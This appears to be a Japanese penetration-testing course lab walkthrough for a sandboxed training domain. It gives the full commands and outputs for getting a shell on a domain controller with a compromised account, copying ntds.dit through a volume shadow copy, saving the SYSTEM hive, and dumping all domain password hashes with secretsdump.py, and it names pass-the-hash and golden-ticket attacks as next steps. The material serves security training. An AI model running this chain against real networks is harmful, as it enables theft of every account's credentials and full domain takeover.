Skip to content

Lab 5.2: Domain Dominance

オンライン演習

接続性: この演習を実施するには、クラス内ネットワーク(560A VPN経由)に接続している必要があります

目的

  • DC01.hiboxy.com (10.130.10.4) 上のNTDS.ditファイルのシャドウコピーを作成します
  • DC01からコピーを自分のマシンに抽出します
  • Hiboxy Active Directory環境全体のパスワードハッシュを抽出します

Walkthrough Video

ラボのセットアップ

使用するVM:

  • Linux

Linux VMから10.130.10.10にpingできることを確認してください:

コマンド

ping -c 4 10.130.10.10

想定される結果

sec560@560vm:~$ ping -c 4 10.130.10.10
PING 10.130.10.10 (10.130.10.10) 56(84) bytes of data.
64 bytes from 10.130.10.10: icmp_seq=1 ttl=63 time=68.8 ms
64 bytes from 10.130.10.10: icmp_seq=2 ttl=63 time=68.7 ms
64 bytes from 10.130.10.10: icmp_seq=3 ttl=63 time=67.8 ms
64 bytes from 10.130.10.10: icmp_seq=4 ttl=63 time=69.3 ms

--- 10.130.10.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3007ms
rtt min/avg/max/mdev = 67.759/68.632/69.324/0.562 ms

ラボ - ステップバイステップの手順

hiboxy.comドメインのDCにアクセスします。

KerberoastラボでSVC_SQLService2を侵害しました。これはドメイン管理者権限を持つアカウントです。

NTDS.ditファイルはActive Directoryによって常に使用されているため、単純に別のドライブにコピー&ペーストすることはできません。アクセスが拒否されます。そのため、ファイルのコピーを作成し、オリジナルではなくコピーを抽出する必要があります。これは共有環境であるため、複雑化を避けるために、既にコピーが存在する場合は作成を**実行しないでください**。

1: DC01でシェルを確立する

確認のため、SVC_SQLService2アカウントを侵害しており、これを使用してドメインコントローラー上でシェルを確立できます。

コマンド

wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4

想定される結果

sec560@560vm:~$ wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>

コマンドを指定しない場合、セミインタラクティブシェルにドロップします。シェルを終了する必要がある場合は、exitと入力してください(今はそうしないでください)。

NTDS.DITファイルのコピーを作成する方法はいくつかあります。例えば、他のラボではこの目的のためにImpacketsecretsdump.pyを使用します。

このラボでは、vssadminを使用してCドライブ(NTDS.ditが存在する場所)のシャドウコピーを作成します。

2: シャドウコピーを確認する

DCへのwmiexecアクセスがあるので、スナップショットがあるかどうかを確認するためにシャドウコピーを見てみましょう。

wmiexec.pyシェルで、シャドウコピーをリストアップします:

コマンド

vssadmin.exe list shadows

シャドウコピーが表示されない場合は、新しく作成してください。既存のシャドウコピーがある場合は、既存のものを使用してください。少なくとも割り当てられたラボ時間中(ライブクラス)は、他の学生との競合や過度な帯域幅使用を避けるためです。

既存のシャドウコピーがない場合

コマンド

vssadmin.exe list shadows

想定される結果

C:\> vssadmin.exe list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

No items found that satisfy the query.

上記の出力が表示される場合、シャドウコピーが存在しないため、ステップ3で作成する必要があります。

既存のシャドウコピーがある場合

次のような出力が表示される場合があります。その場合、HarddiskVolumeShadowCopyXのID番号をメモしてください。番号は異なる場合があります!

コマンド

vssadmin list shadows

想定される結果

C:\> vssadmin.exe list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Contents of shadow copy set ID: {b6f281d5-fcf1-4bf6-afd2-b0f9e7f55ca0}
Contained 1 shadow copies at creation time: 9/8/2024 8:31:44 PM
    Shadow Copy ID: {d951507f-b8b4-4c81-a6a8-ca537faeddcf}
        Original Volume: (C:)\\?\Volume{6d1c1d2f-0000-0000-0000-100000000000}\
        Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
        Originating Machine: dc01.hiboxy.com
        Service Machine: dc01.hiboxy.com
        Provider: 'Microsoft Software Shadow Copy provider 1.0'
        Type: ClientAccessible
        Attributes: Persistent, Client-accessible, No auto release, No writers, Differential

上記のような出力が表示される場合、他の学生またはインストラクターが既にシャドウコピーを作成しています。

3: シャドウコピーを作成する

シャドウコピーが存在しない場合は、次のコマンドを使用して作成します:

コマンド

シャドウコピーがない場合にのみ実行してください!

前のステップでシャドウコピーが表示されなかった場合にのみ、これを実行してください。

vssadmin create shadow /for=c:

想定される結果

C:\> vssadmin create shadow /for=c:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Successfully created shadow copy for 'c:\'
    Shadow Copy ID: {d951507f-b8b4-4c81-a6a8-ca537faeddcf}
    Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

作成したシャドウコピーのインデックス番号をメモしてください。この例では番号は1ですが、異なる場合があります。

4: ntds.ditとシステムハイブのコピーを作成する

Cドライブのシャドウコピーができたので、そこからntds.ditファイルを抽出する必要があります。

注: 番号1をシャドウコピーのインデックスに更新してください。

コマンド

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\extract\ntds.dit

想定される結果

C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\extract\ntds.dit
1 file(s) copied.
ファイルが使用中であるという警告が表示されましたか?

表示された場合、他の学生が同時にファイルにアクセスしている可能性があります。出力ファイルを変更してください。例えばC:\extract\ntds-yourfirstname.ditのように。

NTDS.ditファイルからハッシュを抽出するには、システムハイブの暗号化キーが必要です。以下のコマンドでレジストリをバックアップします(完了するまで1〜2分かかる場合があります):

コマンド

reg save hklm\system c:\extract\system /y

想定される結果

C:\> reg save hklm\system c:\extract\system /y
The operation completed successfully.

既存のファイルが存在する場合にregが上書きできるように/yを追加しました。ファイルが存在し、/yを追加しない場合、コマンドは無期限にハングします。

これ以上必要ないので、このセッションを閉じることができます。

5: ntds.ditファイルを自分のマシンにコピーする

ntds.ditのコピーとシステムハイブがドメインコントローラー上に存在するようになったので、これらを自分のマシンにコピーできます。

これらのファイルをコピーする最良の方法は、smbclient.pyを利用することです

これを実行しないでください!

ファイルは約70Mあり、すべての学生が同時にダウンロードするとDCに過負荷がかかる可能性があります。Linux VMの~/labsディレクトリにこれらのファイルのコピーを用意してあります。

コマンド

smbclient.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4
use c$
cd extract
get ntds.dit
get system
exit

想定される結果

sec560@sec560vm:~$ smbclient.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4

Type help for list of commands
# use c$
# cd extract
# get ntds.dit
# get system
# exit
sec560@sec560vm:~$

6: ハッシュを抽出する

ntds.ditファイルを入手したので、必要なパスワードハッシュを抽出できます。

ntds.ditファイルに対するアクションはローカルマシン上で実行されるため、攻撃はオフラインとなり、ネットワークログには表示されません。

次のオプションでsecretsdump.pyを使用します:

  • -ntds ntds.dit_filename
  • -system system_filename
  • -outputfile output_filename
  • LOCAL: 攻撃がローカルであり、リモートで認証情報にアクセスしていないことをsecretsdump.pyに伝えます

コマンド

secretsdump.py -ntds ~/labs/ntds.dit -system ~/labs/system -outputfile /tmp/hashes.txt LOCAL

想定される結果

sec560@560vm:~$ secretsdump.py -ntds ~/labs/ntds.dit -system ~/labs/system -outputfile /tmp/hashes.txt LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x79d76480fd006930fff9ee719323cc89
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 57611253471e9952a545e169c8e117ba
[*] Reading and decrypting hashes from /home/sec560/labs/ntds.dit 
hiboxy.com\Administrator:500:aad3b435b51404eeaad3b435b51404ee:2e920723943f81ec0af0fd735f737fef:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SROCAdmin:1000:aad3b435b51404eeaad3b435b51404ee:2e920723943f81ec0af0fd735f737fef:::
DC01$:1001:aad3b435b51404eeaad3b435b51404ee:2461e0adc067331aa6f617995e574221:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5f0cc426747b3e28d5d16baed2c98d6d:::
hiboxy.com\SVC_SQLService:1104:aad3b435b51404eeaad3b435b51404ee:46827f7a02b1381dc3293e9c84e7dcd6:::
hiboxy.com\SVC_SQLService2:1105:aad3b435b51404eeaad3b435b51404ee:144bdef70fbe14727a97cb3b82e9f3d1:::
hiboxy.com\krosterman:1106:aad3b435b51404eeaad3b435b51404ee:2fcc82e9615c6a08e7ba6c9ecb80c548:::
hiboxy.com\smorgan:1107:aad3b435b51404eeaad3b435b51404ee:397e2528a292cec11f524928fa89325c:::
...trimmed for brevity...
[*] Cleaning up...

上記の出力で、このアクションの結果を確認できます。次のラボで役立つハッシュもマークしてあります。

この時点で、いくつかのオプションがあります:

  • パスワードハッシュをクラックする
  • Pass-the-hash
  • ゴールデンチケット攻撃のためにkrbtgtハッシュを使用する

7: ボーナス

時間がある場合は、提供されている辞書とクラスで学んだテクニックを使用してHashcatでパスワードをクラックしてください。さまざまなクラッキング技術を試すことができます:

  • ストレート辞書
  • マスク付き辞書
  • ルール

まとめ

このラボでは、管理者権限を持つドメインユーザーを使用して、シャドウコピーを使ってNTDS.ditファイルのコピーを取得する方法を見てきました。このファイルを使用することで、ドメイン内の任意のユーザーまたはコンピューターアカウントのパスワードハッシュを抽出する力を手に入れました。